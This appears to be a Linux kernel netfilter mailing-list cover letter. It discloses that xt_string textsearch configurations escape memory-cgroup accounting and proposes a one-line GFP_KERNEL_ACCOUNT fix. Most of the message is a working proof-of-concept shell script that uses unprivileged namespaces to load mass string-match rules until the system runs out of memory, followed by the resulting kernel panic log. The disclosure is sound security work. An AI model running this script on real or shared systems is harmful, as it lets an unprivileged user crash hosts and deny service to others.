[PATCH nf 0/1] netfilter: xt_string: account textsearch configs
| Newsgroups | gmane.comp.security.firewalls.netfilter.devel |
|---|---|
| Message-ID | <[email protected]> |
From: Zhiling Zou <[email protected]> Hi Linux kernel maintainers, We found and validated an issue in net/netfilter/xt_string.c. The bug is reachable by a non-root user through a new user and network namespace with CAP_NET_ADMIN in that namespace. We will provide detailed information about the bug in this email, along with a PoC to trigger it. ---- details below ---- Bug details: string_mt_check() creates a textsearch configuration for each installed xt_string rule with GFP_KERNEL. textsearch_prepare() forwards this mask to the selected algorithm, so the configuration and its private tables are not charged to the installing memory cgroup. The xtables table blob is allocated with GFP_KERNEL_ACCOUNT, but a Boyer-Moore textsearch configuration is not. A caller can therefore retain a large number of rules through legacy iptables while keeping the associated textsearch memory outside its memory-cgroup limit. The supplied reproducer creates user and network namespaces and bulk-loads Boyer-Moore string matches until the guest reaches system-wide OOM. Use GFP_KERNEL_ACCOUNT for textsearch_prepare() so the configuration is charged with the rest of the rule state. Reproducer: sh poc.sh ------BEGIN poc.sh------ #!/bin/sh set -eu MODE=${MODE:-oom} RULES=${RULES:-50000} COUNT=${COUNT:-12} SPAWN_DELAY=${SPAWN_DELAY:-25} SLEEP_SECS=${SLEEP_SECS:-600} MEMORY_MAX=${MEMORY_MAX:-128M} DEMO_RULES=${DEMO_RULES:-30000} DEMO_WAIT=${DEMO_WAIT:-20} IPT_RESTORE=/usr/sbin/iptables-legacy-restore PYTHON=/usr/bin/python3 if [ ! -x "$IPT_RESTORE" ]; then echo "missing $IPT_RESTORE" >&2 exit 1 fi if [ ! -x "$PYTHON" ]; then echo "missing $PYTHON" >&2 exit 1 fi PATTERN=$("$PYTHON" - <<'PY' print("A" * 128) PY ) WORKER=/tmp/xt_string_worker.$$.sh RUNNER=/tmp/xt_string_runner.$$.sh cleanup() { rm -f "$WORKER" "$RUNNER" } trap cleanup EXIT INT TERM cat >"$WORKER" <<EOF #!/bin/sh set -eu RULES=\${1:?missing rules} SLEEP_SECS=\${2:-600} LOCK=/tmp/xtables.\$\$ export XTABLES_LOCKFILE="\$LOCK" PATTERN='$PATTERN' "$PYTHON" - "\$RULES" "\$PATTERN" <<'PY' | "$IPT_RESTORE" import sys rule_count = int(sys.argv[1]) pattern = sys.argv[2] print("*filter") print(":INPUT ACCEPT [0:0]") print(":FORWARD ACCEPT [0:0]") print(":OUTPUT ACCEPT [0:0]") rule = f'-A INPUT -m string --algo bm --string "{pattern}" -j ACCEPT' for _ in range(rule_count): print(rule) print("COMMIT") PY sleep "\$SLEEP_SECS" EOF chmod 755 "$WORKER" print_meminfo() { egrep 'MemAvailable|Slab|SUnreclaim' /proc/meminfo } spawn_one() { index=$1 nohup unshare -Urn "$WORKER" "$RULES" "$SLEEP_SECS" >/tmp/xt_string_ns_"$index".log 2>&1 & echo "$!" } case "$MODE" in oom) i=1 while [ "$i" -le "$COUNT" ]; do pid=$(spawn_one "$i") echo "spawned namespace $i pid $pid" sleep "$SPAWN_DELAY" print_meminfo i=$((i + 1)) done echo "all namespaces spawned; if panic_on_oom is enabled, the guest should panic once memory is exhausted" while :; do sleep 60 done ;; memcg-demo) if [ "$(id -u)" -ne 0 ]; then echo "MODE=memcg-demo requires root" >&2 exit 1 fi CG=/sys/fs/cgroup/xtleak_demo mkdir -p "$CG" echo "$MEMORY_MAX" >"$CG/memory.max" echo max >"$CG/memory.swap.max" cat >"$RUNNER" <<'EOF' #!/bin/sh set -eu CG=$1 shift echo $$ >"$CG/cgroup.procs" exec "$@" EOF chmod 755 "$RUNNER" print_meminfo nohup "$RUNNER" "$CG" unshare -n "$WORKER" "$DEMO_RULES" "$SLEEP_SECS" >/tmp/xt_string_memcg.log 2>&1 & pid=$! sleep "$DEMO_WAIT" print_meminfo echo -n "memory.current=" cat "$CG/memory.current" echo -n "memory.events=" tr '\n' ' ' <"$CG/memory.events" echo echo "demo pid: $pid" ;; *) echo "unknown MODE=$MODE" >&2 exit 1 ;; esac ------END poc.sh-------- ----BEGIN crash log---- [ 1416.599400][ T2253] Kernel panic - not syncing: Out of memory: system-wide panic_on_oom is enabled [ 1416.600091][ T2253] CPU: 3 UID: 1028 PID: 2253 Comm: iptables-legacy Tainted: G L 6.12.95 #1 7b931b951f26d30ef9f3f8d44b931a24dbfb5ce6 [ 1416.600959][ T2253] Tainted: [L]=SOFTLOCKUP [ 1416.601240][ T2253] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 1416.602031][ T2253] Call Trace: [ 1416.602249][ T2253] <TASK> [ 1416.602443][ T2253] panic+0x544/0x620 [ 1416.602720][ T2253] ? __pfx_panic+0x10/0x10 [ 1416.603013][ T2253] ? __pfx_lock_release+0x10/0x10 [ 1416.603361][ T2253] out_of_memory+0x75d/0x1360 [ 1416.603678][ T2253] ? __alloc_pages_slowpath.constprop.0+0xa0f/0x2800 [ 1416.604112][ T2253] ? __pfx_out_of_memory+0x10/0x10 [ 1416.604439][ T2253] ? __pfx_mutex_trylock+0x10/0x10 [ 1416.604790][ T2253] __alloc_pages_slowpath.constprop.0+0x1eb8/0x2800 [ 1416.605239][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5 [ 1416.605610][ T2253] ? __pfx___alloc_pages_slowpath.constprop.0+0x10/0x10 [ 1416.606060][ T2253] ? local_clock_noinstr+0x15/0xd0 [ 1416.606394][ T2253] ? lock_release+0x687/0xc90 [ 1416.606704][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5 [ 1416.607084][ T2253] ? __pfx___might_resched+0x10/0x10 [ 1416.607440][ T2253] __alloc_pages_noprof+0x54b/0x760 [ 1416.607788][ T2253] ? __pfx___alloc_pages_noprof+0x10/0x10 [ 1416.608160][ T2253] ? __pfx_stack_trace_save+0x10/0x10 [ 1416.608523][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5 [ 1416.608902][ T2253] alloc_pages_mpol_noprof+0x1b1/0x430 [ 1416.609257][ T2253] ? find_check_entry.isra.0+0x2c6/0x9c0 [ 1416.609623][ T2253] ? __pfx_alloc_pages_mpol_noprof+0x10/0x10 [ 1416.610018][ T2253] ? do_sock_setsockopt+0x1e6/0x3f0 [ 1416.610359][ T2253] ? __sys_setsockopt+0xe2/0x140 [ 1416.610677][ T2253] ? __x64_sys_setsockopt+0xbd/0x160 [ 1416.611027][ T2253] ? do_syscall_64+0x6f/0x150 [ 1416.611331][ T2253] ? entry_SYSCALL_64_after_hwframe+0x76/0x7e [ 1416.611740][ T2253] allocate_slab+0x3ae/0x550 [ 1416.612051][ T2253] ___slab_alloc+0xdcb/0x1620 [ 1416.612354][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5 [ 1416.612728][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5 [ 1416.613093][ T2253] ? local_clock_noinstr+0x15/0xd0 [ 1416.613425][ T2253] ? bm_init+0x37/0x9c0 [ 1416.613705][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5 [ 1416.614089][ T2253] ? __kmalloc_noprof+0x3e8/0x540 [ 1416.614417][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5 [ 1416.614790][ T2253] __kmalloc_noprof+0x3e8/0x540 [ 1416.615106][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5 [ 1416.615467][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5 [ 1416.615843][ T2253] ? bm_init+0x37/0x9c0 [ 1416.616124][ T2253] ? bm_init+0x37/0x9c0 [ 1416.616396][ T2253] bm_init+0x37/0x9c0 [ 1416.616661][ T2253] ? lock_acquire+0x153/0x2f0 [ 1416.616970][ T2253] ? textsearch_prepare+0x4d/0x3a0 [ 1416.617311][ T2253] textsearch_prepare+0x15d/0x3a0 [ 1416.617654][ T2253] string_mt_check+0x15d/0x1f0 [ 1416.617971][ T2253] ? __mutex_unlock_slowpath+0x163/0x630 [ 1416.618335][ T2253] xt_check_match+0x23c/0xb30 [ 1416.618648][ T2253] ? __pfx_xt_check_match+0x10/0x10 [ 1416.618999][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5 [ 1416.619512][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5 [ 1416.619975][ T2253] ? pcpu_alloc_noprof+0x6e3/0xc80 [ 1416.620424][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5 [ 1416.620865][ T2253] ? xt_find_match+0x150/0x1f0 [ 1416.621247][ T2253] find_check_entry.isra.0+0x2c6/0x9c0 [ 1416.621633][ T2253] ? __pfx_find_check_entry.isra.0+0x10/0x10 [ 1416.622116][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5 [ 1416.622497][ T2253] ? trace_hardirqs_on+0x5b/0x110 [ 1416.622844][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5 [ 1416.623223][ T2253] ? kfree+0x143/0x4a0 [ 1416.623506][ T2253] ? translate_table+0xb00/0x1af0 [ 1416.623851][ T2253] translate_table+0xbd3/0x1af0 [ 1416.624190][ T2253] ? __pfx_translate_table+0x10/0x10 [ 1416.624545][ T2253] ? _copy_from_user+0x4e/0xa0 [ 1416.624872][ T2253] do_ipt_set_ctl+0x3ea/0x9c0 [ 1416.625191][ T2253] ? __pfx_do_ipt_set_ctl+0x10/0x10 [ 1416.625524][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5 [ 1416.625889][ T2253] ? __mutex_unlock_slowpath+0x163/0x630 [ 1416.626248][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5 [ 1416.626611][ T2253] ? __pfx___mutex_unlock_slowpath+0x10/0x10 [ 1416.627022][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5 [ 1416.627392][ T2253] nf_setsockopt+0x76/0xe0 [ 1416.627689][ T2253] do_sock_setsockopt+0x1e6/0x3f0 [ 1416.628022][ T2253] ? __pfx_do_sock_setsockopt+0x10/0x10 [ 1416.628385][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5 [ 1416.628748][ T2253] ? find_held_lock+0x34/0x120 [ 1416.629058][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5 [ 1416.629430][ T2253] ? local_clock_noinstr+0x15/0xd0 [ 1416.629770][ T2253] ? lock_release+0x687/0xc90 [ 1416.630083][ T2253] ? __pfx_lock_release+0x10/0x10 [ 1416.630417][ T2253] ? __pfx_lock_release+0x10/0x10 [ 1416.630764][ T2253] __sys_setsockopt+0xe2/0x140 [ 1416.631091][ T2253] __x64_sys_setsockopt+0xbd/0x160 [ 1416.631424][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5 [ 1416.631788][ T2253] ? trace_hardirqs_on+0x5b/0x110 [ 1416.632116][ T2253] do_syscall_64+0x6f/0x150 [ 1416.632415][ T2253] entry_SYSCALL_64_after_hwframe+0x76/0x7e [ 1416.632813][ T2253] RIP: 0033:0x7882ac8872ba [ 1416.633100][ T2253] Code: 48 83 ec 10 48 63 c9 48 63 ff 45 89 c9 6a 2c e8 fc d3 f7 ff 48 83 c4 18 c3 0f 1f 80 00 00 00 00 49 89 ca b8 36 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 06 c3 0f 1f 44 00 00 48 8b 15 21 2b 0d 00 f7 [ 1416.634327][ T2253] RSP: 002b:00007ffcfcf9e448 EFLAGS: 00000246 ORIG_RAX: 0000000000000036 [ 1416.634866][ T2253] RAX: ffffffffffffffda RBX: 00007882ab70b070 RCX: 00007882ac8872ba [ 1416.635373][ T2253] RDX: 0000000000000040 RSI: 0000000000000000 RDI: 0000000000000004 [ 1416.635887][ T2253] RBP: 00007882ab70b010 R08: 0000000001067658 R09: 0000570b6297a2b0 [ 1416.636391][ T2253] R10: 00007882ab70b010 R11: 0000000000000246 R12: 00007882ab647010 [ 1416.636900][ T2253] R13: 0000570b6297a2b8 R14: 0000570b6297a870 R15: 0000570b6297a870 [ 1416.637421][ T2253] </TASK> [ 1416.637920][ T2253] Kernel Offset: disabled [ 1416.638206][ T2253] Rebooting in 10 seconds.. -----END crash log----- Best regards, Zhiling Zou Zhiling Zou (1): netfilter: xt_string: account textsearch configs net/netfilter/xt_string.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) -- 2.43.0